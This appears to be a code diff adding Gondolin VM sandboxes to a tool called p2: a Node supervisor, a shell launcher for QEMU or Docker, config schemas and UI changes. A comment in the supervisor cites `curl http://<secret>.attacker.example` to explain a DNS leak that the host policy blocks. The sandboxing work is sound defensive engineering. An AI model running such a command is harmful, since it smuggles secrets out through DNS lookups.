if (separator !== "--" || !isAbsolute(binary ?? "")) fail("Usage: daemon NAME CONFIG BINARY -- ARGS...");
|
||||
return runDaemon(name, parseConfig(config), binary, daemonArgs);
|
||||
}
|
||||
case "start": {
|
||||
await ensureRunning(name, parseConfig(rest[0]));
|
||||
return print(await request(name, { op: "status" }));
|
||||
}
|
||||
case "status":
|
||||
return print((await tryRequest(name, { op: "status" })) ?? { state: "stopped" });
|
||||
case "stop":
|
||||
return print((await tryRequest(name, { op: "stop" })) ?? { state: "stopped" });
|
||||
case "serve":
|
||||
return serve(name, parseConfig(rest[0]));
|
||||
default:
|
||||
fail(`Unknown command: ${command}`);
|
||||
}
|
||||
}
|
||||
|
||||
function fail(message) {
|
||||
process.stderr.write(`p2-sandbox: ${message}\n`);
|
||||
process.exit(2);
|
||||
}
|
||||
|
||||
function print(value) {
|
||||
process.stdout.write(`${JSON.stringify(value)}\n`);
|
||||
}
|
||||
|
||||
/** The sandbox configuration p2 passes as base64 JSON: image, folders, allowed hosts, resources. */
|
||||
function parseConfig(text) {
|
||||
let config;
|
||||
try {
|
||||
config = JSON.parse(Buffer.from(text ?? "", "base64").toString("utf8"));
|
||||
} catch {
|
||||
fail("Invalid sandbox configuration");
|
||||
}
|
||||
return {
|
||||
image: typeof config.image === "string" ? config.image : undefined,
|
||||
mounts: Array.isArray(config.mounts) ? config.mounts : [],
|
||||
// Always a list: Gondolin allows every host when it is omitted.
|
||||
allowHosts: Array.isArray(config.allowHosts) ? config.allowHosts.map(String) : [],
|
||||
cpus: Number.isInteger(config.cpus) ? config.cpus : undefined,
|
||||
memoryMb: Number.isInteger(config.memoryMb) ? config.memoryMb : undefined,
|
||||
revision: createHash("sha256").update(text).digest("hex").slice(0, 16),
|
||||
raw: text,
|
||||
};
|
||||
}
|
||||
|
||||
function runDir(name) {
|
||||
return join(homedir(), ".pi", "p2", "sandbox", "run", name);
|
||||
}
|
||||
|
||||
/**
|
||||
* `~` and `~/…` are the host user's home; other paths must be absolute. In Docker only the home is shared with the
|
||||
* container: a folder elsewhere would be one inside the container, so it is refused. A writable folder must not hold
|
||||
* or be inside ~/.pi: p2 runs this launcher and pi-env's daemons from there, on the host.
|
||||
*/
|
||||
function hostPath(path, readonly) {
|
||||
const home = homedir();
|
||||
const expanded = path === "~" ? home : path.startsWith("~/") ? join(home, path.slice(2)) : path;
|
||||
if (!isAbsolute(expanded)) throw new Error(`Folder must be absolute or start with ~: ${path}`);
|
||||
const resolved = resolve(expanded);
|
||||
const within = (parent, child) => child === parent || child.startsWith(parent === "/" ? "/" : `${parent}/`);
|
||||
if (process.env.P2_SANDBOX_RUNTIME === "docker" && !within(home, resolved))
|
||||
throw new Error(`Sandboxes run in Docker on this host, so their folders must be inside ${home}: ${path}`);
|
||||
const pi = join(home, ".pi");
|
||||
if (!readonly && (within(resolved, pi) || within(pi, resolved)))
|
||||
throw new Error(`A writable folder must not contain or be inside ${pi} (p2's launcher runs from there): ${path}`);
|
||||
return resolved;
|
||||
}
|
||||
|
||||
// --- Clients ---------------------------------------------------------------------------------------------------------
|
||||
|
||||
/** Connect to the supervisor's socket, or undefined when no supervisor listens. */
|
||||
function tryConnect(name) {
|
||||
return new Promise((resolve) => {
|
||||
const socket = connect(join(runDir(name), "sock"));
|
||||
socket.once("connect", () => resolve(socket));
|
||||
socket.once("error", () => resolve(undefined));
|
||||
});
|
||||
}
|
||||
|
||||
/** One JSON request and its JSON reply, or undefined when the sandbox is not running. */
|
||||
async function tryRequest(name, message) {
|
||||
const socket = await tryConnect(name);
|
||||
if (!socket) return undefined;
|
||||
socket.write(`${JSON.stringify(message)}\n`);
|
||||
let text = "";
|
||||
for await (const chunk of socket) text += chunk;
|
||||
return JSON.parse(text);
|
||||
}
|
||||
|
||||
async function request(name, message) {
|
||||
const reply = await tryRequest(name, message);
|
||||
if (reply === undefined) throw new Error(`Sandbox ${name} is not running`);
|
||||
return reply;
|
||||
}
|
||||
|
||||
/**
|
||||
* Start the supervisor unless one listens, and wait until it does. A lock directory naming its owner keeps two
|
||||
* clients from starting two supervisors; the one that waits sees the other's socket, and takes over a lock whose owner
|
||||
* died. A start that times out stops its supervisor, so none is left booting without a lock.
|
||||
*/
|
||||
async function ensureRunning(name, config) {
|
||||
const existing = await tryConnect(name);
|
||||
if (existing) return existing.destroy();
|
||||
const dir = runDir(name);
|
||||
mkdirSync(dir, { recursive: true, mode: 0o700 });
|
||||
const lock = join(dir, "start.lock");
|
||||
const deadline = Date.now() + START_TIMEOUT_MS;
|
||||
for (;;) {
|
||||
try {
|
||||
mkdirSync(lock);
|
||||
writeFileSync(join(lock, "owner"), String(process.pid));
|
||||
break;
|
||||
} catch {
|
||||
let owner = 0;
|
||||
try {
|
||||
owner = Number(readFileSync(join(lock, "owner"), "utf8"));
|
||||
} catch {
|
||||
// Not written yet, or the lock is gone already.
|
||||
}
|
||||
// An owner that has not written its pid yet gets a moment.
|
||||
const age = Date.now() - (statSync(lock, { throwIfNoEntry: false })?.mtimeMs ?? Date.now());
|
||||
if (owner ? !alive(owner) : age > 5000) rmSync(lock, { recursive: true, force: true });
|
||||
const socket = await tryConnect(name);
|
||||
if (socket) return socket.destroy();
|
||||
if (Date.now() > deadline) throw new Error(`Sandbox ${name} did not start in time`);
|
||||
await sleep(250);
|
||||
}
|
||||
}
|
||||
try {
|
||||
const again = await tryConnect(name);
|
||||
if (again) return again.destroy();
|
||||
const log = join(dir, "log");
|
||||
const out = openSync(log, "w", 0o600);
|
||||
const child = spawn(process.execPath, [self, "serve", name, config.raw], {
|
||||
detached: true,
|
||||
stdio: ["ignore", out, out],
|
||||
});
|
||||
closeSync(out);
|
||||
let exited = false;
|
||||
child.once("exit", () => {
|
||||
exited = true;
|
||||
});
|
||||
child.unref();
|
||||
process.stderr.write(`p2-sandbox: starting sandbox ${name}\n`);
|
||||
while (Date.now() < deadline) {
|
||||
const socket = await tryConnect(name);
|
||||
if (socket) return socket.destroy();
|
||||
if (exited) {
|
||||
const tail = readFileSync(log, "utf8").trim().split("\n").slice(-15).join("\n");
|
||||
throw new Error(`Sandbox ${name} failed to start:\n${tail}`);
|
||||
}
|
||||
await sleep(250);
|
||||
}
|
||||
child.kill("SIGTERM");
|
||||
throw new Error(`Sandbox ${name} did not start in time`);
|
||||
} finally {
|
||||
rmSync(lock, { recursive: true, force: true });
|
||||
}
|
||||
}
|
||||
|
||||
/** Run the pi-env daemon in the VM: stdin goes to it, its stdout and stderr come back, its exit code is ours. */
|
||||
async function runDaemon(name, config, binary, args) {
|
||||
try {
|
||||
await ensureRunning(name, config);
|
||||
} catch (error) {
|
||||
fail(error instanceof Error ? error.message : String(error));
|
||||
}
|
||||
const socket = await tryConnect(name);
|
||||
if (!socket) fail(`Sandbox ${name} stopped while connecting`);
|
||||
socket.write(`${JSON.stringify({ op: "exec", binary, args, revision: config.revision })}\n`);
|
||||
process.stdin.on("data", (chunk) => socket.write(chunk));
|
||||
process.stdin.on("end", () => socket.end());
|
||||
let buffer = Buffer.alloc(0);
|
||||
let code = 1;
|
||||
socket.on("data", (chunk) => {
|
||||
buffer = Buffer.concat([buffer, chunk]);
|
||||
while (buffer.length >= 5) {
|
||||
const length = buffer.readUInt32BE(1);
|
||||
if (buffer.length < 5 + length) break;
|
||||
const type = buffer[0];
|
||||
const payload = buffer.subarray(5, 5 + length);
|
||||
buffer = buffer.subarray(5 + length);
|
||||
if (type === STDOUT) process.stdout.write(payload);
|
||||
else if (type === STDERR) process.stderr.write(payload);
|
||||
else if (type === EXIT) code = JSON.parse(payload.toString("utf8")).code;
|
||||
}
|
||||
});
|
||||
socket.on("close", () => process.stdout.end(() => process.exit(code)));
|
||||
socket.on("error", () => {});
|
||||
}
|
||||
|
||||
// --- Supervisor ------------------------------------------------------------------------------------------------------
|
||||
|
||||
/** Boot the VM, then serve requests on the socket until stopped; the process ends with the VM. */
|
||||
async function serve(name, config) {
|
||||
const dir = runDir(name);
|
||||
const socketPath = join(dir, "sock");
|
||||
const mounts = {};
|
||||
for (const mount of config.mounts) {
|
||||
const host = hostPath(String(mount.host), mount.readonly === true);
|
||||
mkdirSync(host, { recursive: true });
|
||||
const real = new RealFSProvider(host);
|
||||
mounts[String(mount.guest)] = mount.readonly ? new ReadonlyProvider(real) : real;
|
||||
}
|
||||
if (config.image) await ensureImageSelector(config.image);
|
||||
const { httpHooks, env } = createHttpHooks({
|
||||
allowedHosts: config.allowHosts,
|
||||
// Gondolin checks `allowedHosts` only after resolving the name on the host, which would leak any name the guest
|
||||
// asks for to DNS (`curl http://<secret>.attacker.example`); the request policy runs before that lookup.
|
||||
isRequestAllowed: (request) => allowedHost(new URL(request.url).hostname, config.allowHosts),
|
||||
});
|
||||
const vm = await VM.create({
|
||||
httpHooks,
|
||||
env: { ...GUEST_ENV, ...env },
|
||||
// Gondolin's own mount point, out of the way of the folders (its default is /data).
|
||||
vfs: { mounts, fuseMount: GUEST_VFS },
|
||||
...(config.cpus === undefined ? {} : { cpus: config.cpus }),
|
||||
...(config.memoryMb === undefined ? {} : { memory: `${config.memoryMb}M` }),
|
||||
...(config.image === undefined ? {} : { sandbox: { imagePath: config.image } }),
|
||||
sessionLabel: `p2:${name}`,
|
||||
});
|
||||
await vm.exec("true");
|
||||
const startedAt = Date.now();
|
||||
/** The daemons copied into the VM, by guest path: one copy each, however many connections ask at once. */
|
||||
const installs = new Map();
|
||||
let server;
|
||||
let closing;
|
||||
/**
|
||||
* Stop: no new connections first (the socket goes, so the next client starts a new supervisor), then the VM. The
|
||||
* run directory stays: a new supervisor may already be starting in it.
|
||||
*/
|
||||
const close = () => {
|
||||
closing ??= (async () => {
|
||||
clearInterval(watch);
|
||||
server?.close();
|
||||
rmSync(socketPath, { force: true });
|
||||
await vm.close().catch(() => {});
|
||||
})();
|
||||
return closing;
|
||||
};
|
||||
const exit = () => void close().then(() => process.exit(0));
|
||||
// Gondolin does not close a VM whose QEMU died: without this the supervisor would answer as running forever.
|
||||
const watch = setInterval(() => {
|
||||
const pid = vm.getHostPid();
|
||||
if (pid !== null && alive(pid)) return;
|
||||
console.log(`sandbox ${name}: the VM exited`);
|
||||
exit();
|
||||
}, 2000);
|
||||
process.on("SIGTERM", exit);
|
||||
process.on("SIGINT", exit);
|
||||
const status = () => ({
|
||||
state: "running",
|
||||
startedAt,
|
||||
revision: config.revision,
|
||||
pid: process.pid,
|
||||
cpus: config.cpus ?? 2,
|
||||
memoryMb: config.memoryMb ?? 1024,
|
||||
});
|
||||
server = createServer((socket) => {
|
||||
socket.on("error", () => {});
|
||||
let header = Buffer.alloc(0);
|
||||
const onData = (chunk) => {
|
||||
header = Buffer.concat([header, chunk]);
|
||||
const end = header.indexOf(10);
|
||||
if (end < 0) return;
|
||||
socket.off("data", onData);
|
||||
// Input that arrives while the daemon is copied into the VM waits in the socket.
|
||||
socket.pause();
|
||||
const rest = header.subarray(end + 1);
|
||||
let message;
|
||||
try {
|
||||
message = JSON.parse(header.subarray(0, end).toString("utf8"));
|
||||
} catch {
|
||||
return socket.destroy();
|
||||
}
|
||||
if (message.op === "status") return socket.end(JSON.stringify(status()));
|
||||
// Answered once the VM is gone, so a start right after never finds this supervisor.
|
||||
if (message.op === "stop")
|
||||
return void close().then(() => socket.end(JSON.stringify({ state: "stopped" }), () => process.exit(0)));
|
||||
if (message.op === "exec") return void execute(vm, installs, message, socket, rest, config.revision);
|
||||
socket.destroy();
|
||||
};
|
||||
socket.on("data", onData);
|
||||
});
|
||||
rmSync(socketPath, { force: true });
|
||||
server.listen(socketPath, () => console.log(`sandbox ${name} running (pid ${process.pid})`));
|
||||
}
|
||||
|
||||
/** Gondolin's host pattern rules: case-insensitive, `*` alone matches any host, `*` inside a pattern any substring. */
|
||||
function allowedHost(hostname, patterns) {
|
||||
return patterns.some((raw) => {
|
||||
const pattern = raw.trim().toLowerCase();
|
||||
if (pattern === "*") return true;
|
||||
const escaped = pattern
|
||||
.split("*")
|
||||
.map((part) => part.replace(/[.+?^${}()|[\]\\]/g, "\\$&"))
|
||||
.join(".*");
|
||||
return pattern !== "" && new RegExp(`^${escaped}$`, "i").test(hostname);
|
||||
});
|
||||
}
|
||||
|
||||
function frame(type, payload) {
|
||||
const head = Buffer.alloc(5);
|
||||
head[0] = type;
|
||||
head.writeUInt32BE(payload.length, 1);
|
||||
return Buffer.concat([head, payload]);
|
||||
}
|
||||
|
||||
/** Copy the daemon into the VM once per content, then run it with the client's stdin and output. */
|
||||
async function execute(vm, installs, message, socket, firstInput, revision) {
|
||||
const send = (type, payload) => {
|
||||
if (!socket.destroyed) socket.write(frame(type, payload));
|
||||
};
|
||||
const abort = new AbortController();
|
||||
// The client went away (ssh closed), also while the daemon is still being copied: the daemon stops with it.
|
||||
socket.on("close", () => abort.abort());
|
||||
try {
|
||||
if (message.revision !== revision)
|
||||
send(STDERR, Buffer.from("p2-sandbox: the configuration changed; it applies when the sandbox restarts\n"));
|
||||
const guest = `${GUEST_TOOLS}/${basename(String(message.binary))}`;
|
||||
let install = installs.get(guest);
|
||||
if (!install) {
|
||||
install = (async () => {
|
||||
await vm.fs.mkdir(GUEST_TOOLS, { recursive: true });
|
||||
await vm.fs.writeFile(guest, readFileSync(String(message.binary)));
|
||||
// The array form runs the program itself: Gondolin does not search PATH for it.
|
||||
const chmod = await vm.exec(["/bin/chmod", "755", guest]);
|
||||
if (chmod.exitCode !== 0) throw new Error(`Could not make the daemon executable: ${chmod.stderr.trim()}`);
|
||||
})();
|
||||
installs.set(guest, install);
|
||||
// A failed copy is tried again by the next connection.
|
||||
install.catch(() => installs.delete(guest));
|
||||
}
|
||||
await install;
|
||||
if (abort.signal.aborted) return;
|
||||
const proc = vm.exec([guest, ...message.args.map(String)], {
|
||||
stdin: true,
|
||||
stdout: "pipe",
|
||||
stderr: "pipe",
|
||||
cwd: "/",
|
||||
signal: abort.signal,
|
||||
});
|
||||
if (firstInput.length) proc.write(firstInput);
|
||||
socket.on("data", (chunk) => proc.write(chunk));
|
||||
socket.on("end", () => proc.end());
|
||||
socket.resume();
|
||||
proc.stdout?.on("data", (chunk) => send(STDOUT, chunk));
|
||||
proc.stderr?.on("data", (chunk) => send(STDERR, chunk));
|
||||
const result = await proc.result;
|
||||
send(EXIT, Buffer.from(JSON.stringify({ code: result.exitCode })));
|
||||
} catch (error) {
|
||||
if (!abort.signal.aborted) {
|
||||
send(STDERR, Buffer.from(`p2-sandbox: ${error instanceof Error ? error.message : String(error)}\n`));
|
||||
send(EXIT, Buffer.from(JSON.stringify({ code: 1 })));
|
||||
}
|
||||
}
|
||||
socket.end();
|
||||
}
|
||||
|
||||
/** Whether process `pid` exists. */
|
||||
function alive(pid) {
|
||||
try {
|
||||
process.kill(pid, 0);
|
||||
return true;
|
||||
} catch (error) {
|
||||
return error.code === "EPERM";
|
||||
}
|
||||
}
|
||||
|
||||
function sleep(ms) {
|
||||
return new Promise((resolve) => setTimeout(resolve, ms));
|
||||
}
|
||||
115
apps/p2/plugins/envs/sandbox/p2-sandbox.sh
Executable file
115
apps/p2/plugins/envs/sandbox/p2-sandbox.sh
Executable file
|
|
@ -0,0 +1,115 @@
|
|||
#!/bin/sh
|
||||
# p2's sandbox launcher on a host environment. `check` reports whether and how Gondolin can run here (JSON). Every other
|
||||
# command picks the runtime (natively when Node >= 22, QEMU >= 7.2 and /dev/kvm are usable, else Docker), installs it
|
||||
# once, then runs p2-sandbox.mjs there with the same arguments. stdout belongs to that program (it carries pi-env's
|
||||
# protocol), so setup output goes to stderr. Each launcher version has its own directory (named by its content);
|
||||
# sandboxes keep running across versions.
|
||||
set -eu
|
||||
D=$(cd "$(dirname "$0")" && pwd)
|
||||
|
||||
qemu_bin() {
|
||||
case "$(uname -m)" in
|
||||
x86_64 | amd64) echo qemu-system-x86_64 ;;
|
||||
aarch64 | arm64) echo qemu-system-aarch64 ;;
|
||||
*) echo qemu-system-unsupported ;;
|
||||
esac
|
||||
}
|
||||
qemu_version() {
|
||||
command -v "$(qemu_bin)" >/dev/null 2>&1 || return 0
|
||||
"$(qemu_bin)" --version 2>/dev/null | head -n 1 | sed -n 's/.*version \([0-9][0-9]*\.[0-9][0-9]*\).*/\1/p'
|
||||
}
|
||||
qemu_ok() {
|
||||
v=$(qemu_version)
|
||||
[ -n "$v" ] || return 1
|
||||
major=${v%%.*}
|
||||
minor=${v#*.}
|
||||
[ "$major" -gt 7 ] || { [ "$major" -eq 7 ] && [ "$minor" -ge 2 ]; }
|
||||
}
|
||||
node_version() { command -v node >/dev/null 2>&1 && node -p 'process.versions.node' 2>/dev/null || true; }
|
||||
node_ok() {
|
||||
v=$(node_version)
|
||||
[ -n "$v" ] && [ "${v%%.*}" -ge 22 ]
|
||||
}
|
||||
kvm_ok() { [ -r /dev/kvm ] && [ -w /dev/kvm ]; }
|
||||
docker_ok() { [ -e /dev/kvm ] && command -v docker >/dev/null 2>&1 && docker info >/dev/null 2>&1; }
|
||||
|
||||
runtime() {
|
||||
if [ "$(uname -s)" != Linux ]; then
|
||||
echo none
|
||||
elif kvm_ok && qemu_ok && node_ok; then
|
||||
echo native
|
||||
elif docker_ok; then
|
||||
echo docker
|
||||
else
|
||||
echo none
|
||||
fi
|
||||
}
|
||||
|
||||
if [ "${1:-}" = check ]; then
|
||||
r=$(runtime)
|
||||
kvm=false
|
||||
kvm_ok && kvm=true
|
||||
docker=false
|
||||
docker_ok && docker=true
|
||||
printf '{"runtime":"%s","system":"%s","arch":"%s","kvm":%s,"kvmDevice":%s,"qemu":"%s","node":"%s","docker":%s}\n' \
|
||||
"$r" "$(uname -s)" "$(uname -m)" "$kvm" "$([ -e /dev/kvm ] && echo true || echo false)" \
|
||||
"$(qemu_version)" "$(node_version)" "$docker"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# Setup runs under a lock: two sessions connecting at once must not install or create the container twice.
|
||||
lock() {
|
||||
if command -v flock >/dev/null 2>&1; then
|
||||
exec 9>"$D/.lock"
|
||||
flock 9
|
||||
fi
|
||||
}
|
||||
unlock() { exec 9>&-; }
|
||||
|
||||
# Gondolin and its dependencies, from package-lock.json into this version's directory, once.
|
||||
install_gondolin() {
|
||||
if [ ! -f "$D/.installed" ]; then
|
||||
lock
|
||||
if [ ! -f "$D/.installed" ]; then
|
||||
echo "p2-sandbox: installing Gondolin in $D" >&2
|
||||
"$@" sh -c 'cd "$1" && npm ci --ignore-scripts --no-audit --no-fund >&2' sh "$D"
|
||||
touch "$D/.installed"
|
||||
fi
|
||||
unlock
|
||||
fi
|
||||
}
|
||||
|
||||
case "$(runtime)" in
|
||||
native)
|
||||
install_gondolin
|
||||
exec node "$D/p2-sandbox.mjs" "$@"
|
||||
;;
|
||||
docker)
|
||||
# Named by the Dockerfile only (Node and QEMU), not by the launcher version: launcher versions of several p2
|
||||
# installations share the container and run their own files from their directories in the shared home.
|
||||
tag=$(sha256sum "$D/Dockerfile" | cut -c1-16)
|
||||
image="p2-sandbox:$tag"
|
||||
container="p2-sandbox-$(id -u)-$tag"
|
||||
if [ "$(docker inspect -f '{{.State.Running}}' "$container" 2>/dev/null || true)" != true ]; then
|
||||
lock
|
||||
if [ "$(docker inspect -f '{{.State.Running}}' "$container" 2>/dev/null || true)" != true ]; then
|
||||
if ! docker image inspect "$image" >/dev/null 2>&1; then
|
||||
echo "p2-sandbox: building the Docker image $image (first time only)" >&2
|
||||
docker build -q -t "$image" - <"$D/Dockerfile" >&2
|
||||
fi
|
||||
docker rm -f "$container" >/dev/null 2>&1 || true
|
||||
docker run -d --name "$container" --restart unless-stopped --init \
|
||||
--device /dev/kvm --group-add "$(stat -c %g /dev/kvm)" \
|
||||
--user "$(id -u):$(id -g)" -e HOME="$HOME" -v "$HOME:$HOME" \
|
||||
"$image" sleep infinity >/dev/null
|
||||
fi
|
||||
unlock
|
||||
fi
|
||||
install_gondolin docker exec -i "$container"
|
||||
exec docker exec -i -e P2_SANDBOX_RUNTIME=docker "$container" node "$D/p2-sandbox.mjs" "$@"
|
||||
;;
|
||||
*)
|
||||
echo "p2-sandbox: this host cannot run sandboxes (needs Linux with /dev/kvm, and Node >= 22 with QEMU >= 7.2 or Docker)" >&2
|
||||
exit 3
|
||||
;;
|
||||
esac
|
||||
|
|
@ -1,9 +1,11 @@
|
|||
import { bool, int, obj, opt, type Static, str } from "@earendil-works/pi-schema";
|
||||
import { arr, bool, int, obj, opt, type Static, str, union } from "@earendil-works/pi-schema";
|
||||
import { literal, record } from "@p2/app/v1";
|
||||
|
||||
/** Browser-safe configuration shape. No credentials are kept in envs.json. */
|
||||
export const ENV_NAME = /^[a-z0-9][a-z0-9_-]{0,31}$/;
|
||||
export const EnvConfigSchema = obj({
|
||||
|
||||
/** A machine reached over SSH. */
|
||||
export const SshEnvConfigSchema = obj({
|
||||
type: literal("ssh"),
|
||||
host: str({ minLength: 1, maxLength: 255 }),
|
||||
user: opt(str({ minLength: 1, maxLength: 255 })),
|
||||
|
|
@ -13,5 +15,36 @@ export const EnvConfigSchema = obj({
|
|||
loginShell: opt(bool()),
|
||||
shellEnv: opt(record(str())),
|
||||
});
|
||||
|
||||
/** A folder of the host shared with a sandbox at `guest`; `host` is absolute or starts with `~` (the host user's home). */
|
||||
export const SandboxMountSchema = obj({
|
||||
host: str({ minLength: 1, maxLength: 4096 }),
|
||||
guest: str({ minLength: 2, maxLength: 4096 }),
|
||||
readonly: opt(bool()),
|
||||
});
|
||||
|
||||
/**
|
||||
* A Gondolin sandbox: a VM on the SSH environment `host`. It sees only its folders and reaches only its allowed hosts
|
||||
* over HTTP(S); conversations working in it cannot leave it.
|
||||
*/
|
||||
export const GondolinEnvConfigSchema = obj({
|
||||
type: literal("gondolin"),
|
||||
host: str({ minLength: 1, maxLength: 32 }),
|
||||
image: opt(str({ minLength: 1, maxLength: 255 })),
|
||||
mounts: opt(arr(SandboxMountSchema, { maxItems: 16 })),
|
||||
allowHosts: opt(arr(str({ minLength: 1, maxLength: 255 }), { maxItems: 256 })),
|
||||
cpus: opt(int({ minimum: 1, maximum: 64 })),
|
||||
memoryMb: opt(int({ minimum: 256, maximum: 262144 })),
|
||||
});
|
||||
|
||||
export const EnvConfigSchema = union([SshEnvConfigSchema, GondolinEnvConfigSchema]);
|
||||
export type SshEnvConfig = Static<typeof SshEnvConfigSchema>;
|
||||
export type GondolinEnvConfig = Static<typeof GondolinEnvConfigSchema>;
|
||||
export type SandboxMount = Static<typeof SandboxMountSchema>;
|
||||
export type EnvConfig = Static<typeof EnvConfigSchema>;
|
||||
export type EnvsConfig = Record<string, EnvConfig>;
|
||||
|
||||
/** Whether `name` is a sandbox, decided by its configuration's type (never its name). */
|
||||
export function isSandbox(envs: EnvsConfig, name: string): boolean {
|
||||
return Object.hasOwn(envs, name) && envs[name]?.type === "gondolin";
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1,3 +1,4 @@
|
|||
import { pluginFile } from "@earendil-works/chord/plugins";
|
||||
import { nul, num, obj, str, union } from "@earendil-works/pi-schema";
|
||||
import {
|
||||
contribute,
|
||||
|
|
@ -16,7 +17,7 @@ import { Hosts, Server } from "@p2/app/v1/server";
|
|||
import { Catalog, type Session } from "../sessions/contract.ts";
|
||||
import { StatusStore } from "../status/contract.ts";
|
||||
import { type Child, ChildStore } from "../subagents/contract.ts";
|
||||
import { envRevision } from "./config.ts";
|
||||
import { envRevision, sandboxesOn } from "./config.ts";
|
||||
import { EnvManagers, EnvService, Envs, EnvTestSchema } from "./contract.ts";
|
||||
import { EnvManager } from "./manager.ts";
|
||||
import { EnvStore } from "./store.ts";
|
||||
|
|
@ -74,7 +75,9 @@ export default defineFacet((host) => {
|
|||
const edited = Object.keys({ ...previous, ...revisions }).filter(
|
||||
(name) => previous[name] !== revisions[name],
|
||||
);
|
||||
for (const name of edited)
|
||||
// A host's edit reaches its sandboxes too: their connections go through it.
|
||||
const affected = new Set(edited.flatMap((name) => [name, ...sandboxesOn(configs, name).map(([on]) => on)]));
|
||||
for (const name of affected)
|
||||
for (const session of sessionsUsing(name, sessions, children))
|
||||
if (workers[session.id]?.running) draft.pending[session.id] = workers[session.id]!.generation;
|
||||
}, ctx);
|
||||
|
|
@ -108,6 +111,7 @@ export default defineFacet((host) => {
|
|||
new EnvManager(
|
||||
server.info.value.dataDir,
|
||||
async (name) => sessionsUsing(name, catalog.sessions.value, children.children.value).length,
|
||||
pluginFile("sandbox"),
|
||||
),
|
||||
(opened) => opened.close(),
|
||||
);
|
||||
|
|
@ -204,6 +208,9 @@ export default defineFacet((host) => {
|
|||
publicKey: async ({ name }) => (await manager().manager.publicKey(name)) ?? null,
|
||||
listDirectory: ({ env, path }) =>
|
||||
env ? manager().manager.listDirectory(env, path) : listLocalDirectory(path),
|
||||
sandboxStatus: ({ name }) => manager().manager.sandboxStatus(name),
|
||||
sandboxStart: ({ name }) => manager().manager.sandboxStart(name),
|
||||
sandboxStop: ({ name }) => manager().manager.sandboxStop(name),
|
||||
},
|
||||
};
|
||||
});
|
||||
|
|
|
|||
42
apps/p2/plugins/envs/style.css
Normal file
42
apps/p2/plugins/envs/style.css
Normal file
|
|
@ -0,0 +1,42 @@
|
|||
/* Sandboxes (Gondolin VMs on an SSH environment): list rows, VM state, folders. */
|
||||
.env-sandbox {
|
||||
padding-left: calc(var(--x) + var(--s5));
|
||||
}
|
||||
.vm-dot {
|
||||
display: inline-block;
|
||||
width: 7px;
|
||||
height: 7px;
|
||||
margin-right: var(--s1);
|
||||
border-radius: 50%;
|
||||
background: var(--faint);
|
||||
vertical-align: middle;
|
||||
}
|
||||
.vm-dot.running {
|
||||
background: var(--ok);
|
||||
}
|
||||
.vm-dot.unknown {
|
||||
border: 1px solid var(--faint);
|
||||
background: transparent;
|
||||
}
|
||||
.sandbox-intro {
|
||||
margin-bottom: var(--s3);
|
||||
}
|
||||
.sandbox-status {
|
||||
margin-bottom: var(--s3);
|
||||
}
|
||||
.sandbox-folders {
|
||||
gap: var(--s2);
|
||||
}
|
||||
.sandbox-folder {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: var(--s3);
|
||||
}
|
||||
.sandbox-folder > span:first-child {
|
||||
flex: 1;
|
||||
min-width: 0;
|
||||
overflow-wrap: anywhere;
|
||||
}
|
||||
.directory-leave {
|
||||
margin-top: var(--s3);
|
||||
}
|
||||
|
|
@ -91,7 +91,7 @@ function openEnvs(ctx: TuiContext): void {
|
|||
const accept = async (env: EnvSummary) => {
|
||||
const service = owner();
|
||||
const key = env.test && !env.test.ok ? env.test.hostKey : undefined;
|
||||
if (!service || service.variant !== "owner" || !key) return;
|
||||
if (!service || service.variant !== "owner" || !key || env.config.type !== "ssh") return;
|
||||
const yes = await confirm(ctx, [
|
||||
`Trust ${env.name}'s host key?`,
|
||||
`${lineText(env.config.user ? `${env.config.user}@` : "")}${lineText(env.config.host)}${env.config.port ? `:${env.config.port}` : ""} · ${key.state === "changed" ? "the key CHANGED since it was trusted" : "unknown key"}`,
|
||||
|
|
@ -119,7 +119,11 @@ function openEnvs(ctx: TuiContext): void {
|
|||
},
|
||||
...envs.map((env) => ({
|
||||
key: env.name,
|
||||
label: `${mark(env.name)}${env.name} ${env.config.user ? `${env.config.user}@` : ""}${env.config.host}`,
|
||||
label: `${mark(env.name)}${env.name} ${
|
||||
env.config.type === "gondolin"
|
||||
? `sandbox on ${env.config.host}`
|
||||
: `${env.config.user ? `${env.config.user}@` : ""}${env.config.host}`
|
||||
}`,
|
||||
detail: `${current?.env === env.name ? "this session · " : ""}${detail(env)} · ${env.sessions} session${env.sessions === 1 ? "" : "s"}`,
|
||||
...(env.test && !env.test.ok
|
||||
? { description: env.test.error, color: "error" as const }
|
||||
|
|
|
|||
|
|
@ -1,6 +1,7 @@
|
|||
import { contribute, defineFacet } from "@p2/app/v1";
|
||||
import { closeLayers, openLayer, Slots, useOwner, useSheet } from "@p2/app/v1/web";
|
||||
import { EnvsPanel } from "./EnvsPanel.tsx";
|
||||
import "./style.css";
|
||||
|
||||
function EnvsButton() {
|
||||
const sheet = useSheet("envs");
|
||||
|
|
|
|||
|
|
@ -1,11 +1,22 @@
|
|||
import { pluginFile } from "@earendil-works/chord/plugins";
|
||||
import { contribute, defineFacet } from "@p2/app/v1";
|
||||
import { HarnessEnvironments, workerOf } from "@p2/app/v1/worker";
|
||||
import { loadEnvs } from "./config.ts";
|
||||
import { isSandbox, loadEnvs } from "./config.ts";
|
||||
import { remoteSession } from "./remote-env.ts";
|
||||
import { EnvStore } from "./store.ts";
|
||||
|
||||
export default defineFacet((host) => {
|
||||
contribute(host, "p2.worker-envs", (self) => {
|
||||
const worker = workerOf(self);
|
||||
const launcher = pluginFile("sandbox");
|
||||
const store = self.open(
|
||||
async () => {
|
||||
const opened = new EnvStore(worker().init.dataDir);
|
||||
await opened.observer.start();
|
||||
return opened;
|
||||
},
|
||||
(opened) => opened.observer.close(),
|
||||
);
|
||||
self.contribute(HarnessEnvironments, {
|
||||
remote: {
|
||||
open: async (env) => {
|
||||
|
|
@ -14,13 +25,19 @@ export default defineFacet((host) => {
|
|||
const config = Object.hasOwn(configs, env) ? configs[env] : undefined;
|
||||
if (!config) throw new Error(`Environment "${env}" is not configured; refusing local execution`);
|
||||
// One connection for every conversation working on this environment, at its directories.
|
||||
const remote = remoteSession(dataDir, env, config, "/");
|
||||
const remote = remoteSession(dataDir, env, config, "/", { launcher });
|
||||
return { at: remote.at, close: () => remote.connection.close() };
|
||||
},
|
||||
host: async (env) => {
|
||||
describe: async (env) => {
|
||||
const configs = await loadEnvs(worker().init.dataDir);
|
||||
return Object.hasOwn(configs, env) ? configs[env]?.host : undefined;
|
||||
const config = Object.hasOwn(configs, env) ? configs[env] : undefined;
|
||||
